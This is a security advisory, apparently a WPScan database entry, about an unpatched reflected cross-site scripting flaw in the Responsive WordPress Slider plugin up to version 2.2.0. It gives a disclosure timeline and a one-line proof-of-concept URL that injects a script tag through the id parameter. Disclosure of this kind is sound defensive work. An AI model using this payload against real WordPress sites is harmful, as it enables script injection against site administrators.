WordPress Plugin Vulnerabilities
Responsive WordPress Slider <= 2.2.0 - Reflected Cross-Site Scripting
Description
The plugin does not escape the id parameter before outputting it back in attributes, leading to a Reflected Cross-Site Scripting issue.
Timeline:
August 11th, 2021 - Details sent to vendor
August 12th, 2021 - Vendor working on a patch
August 24th, 2021 - Ticket put as 'solved' on vendor side due to lack of activity
September 21st, 2021 - No updates, public disclosure
Proof of Concept
https://example.com/wp-admin/admin.php?page=motopress-slider&view=slides&id=1"><script>alert(/XSS/)</script>
Affects Plugins
No known fix Classification
Type
XSS
OWASP top 10
CWE
CVSS
Miscellaneous
Original Researcher
WPScanTeam
Verified
Yes
WPVDB ID
Timeline
Publicly Published
2021-09-21 (about 2 years ago)
Added
2021-09-21 (about 2 years ago)
Last Updated
2021-09-21 (about 2 years ago)
WPScan 